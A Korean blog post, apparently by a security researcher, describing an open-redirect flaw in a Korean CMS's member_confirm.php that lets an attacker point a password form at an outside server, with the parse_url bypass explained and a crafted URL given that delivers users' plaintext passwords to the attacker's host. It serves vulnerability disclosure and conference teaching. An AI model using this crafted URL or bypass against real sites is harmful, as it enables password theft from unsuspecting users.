해킹캠프에서 web hacking 이라는 주제로 발표를 준비 하다보니 마음에 드는 Open redriect  real case를 찾지 못해 어쩌지 하다가 임준오랑 예전에 한국 CMS들을 미친듯이 털어서 키사 거덜 내자라는 프로젝트 비슷한걸 한적 있었는데 그때 임준오가 찾은 취약점이 생각나서 다시 봤더니 패치를 해도 여전히 취약해서 찾게 되었다.

member_confirm.skin.php:21~23줄을 보자


form 태그의 action부분에 url을 출력 시키는걸 볼수가 있다. 
만약 URL을 http://hacker.com/ 로 바꿔버리면 form 태그로 보내는 모든 값들을 해커가 가로챌수가 있을것이다.

자 그럼 저 form 태그가 어떤 값들을 한번 보자


몇개 안되는 input 중에 password를 보내는걸 확인 할수가 있다.

그럼 저 member_confirm.skin.php를 어디서 include하는지 찾아보자.



member_confirm.php에서 include하는걸 찾을수 있었는데 문제는 url 체크를 한다는거다
어떤식으로 체크를 하는지 확인 할겸  한번 check_url_host 함수를 보자



함수를 보니 앞서 걱정했던게 딱히 필요가 없어졌다 왜냐하면 parse_url 함수는 보기 보다 많이 멍청하기 때문이다.

우회 방법은 아래를 참고하면 된다.





이런식으로 우회를 하면된다. 패스워드 릭은 간단하다 

http://10.211.55.3/gb/bbs/member_confirm.php?url=http://adm1nkyj.kr%23@10.211.55.3/

이런식으로 url을 만든후 유저들에게 뿌리면 회원들이 비번을 입력할테고 그러면 해커의 서버로 유저의 비번이 날라올것이다. (비번을 입력할 확률이 높은 이유는 도메인이 실제 이용중인 사이트의 도메인이랑 동일 하기 때문이다)







이런식으로 평문 password를 해커가 가져올수 있다.

마지막으로 해킹캠프의 발표 후기를 지금이나마 조금 적어보자면 내가 발표한 시간이 점심 먹은후라 다들 주무실거 같아서 걱정이 많았지만 고맙게도 다들 재밌게 들어주신거 같아서 좋았다ㅋㅋ
그리고 발표를 하다보니 생각보다 시간이 길어져서 뒤에는 그냥 거의다 넘기다 시피 해서 아쉬웠다.
다음에도 기회가 되면 해보고 싶어질거 같다